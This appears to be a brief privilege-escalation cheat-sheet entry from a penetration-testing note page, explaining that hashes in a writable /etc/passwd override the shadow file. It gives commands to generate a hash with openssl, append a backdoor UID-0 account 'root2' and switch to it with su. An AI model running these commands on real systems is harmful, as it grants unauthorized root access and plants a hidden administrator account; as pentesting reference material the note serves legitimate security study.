/etc/passwd override

For backwards compatibility, password hashes present in /etc/passwd will override the ones stored in the shadow file. If we have write access to /etc/passwd we can simply add a new root account

openssl passwd adot8
echo "root2:HASH:0:0:root:/bin/bash" >> /etc/passwd
su root2

Last updated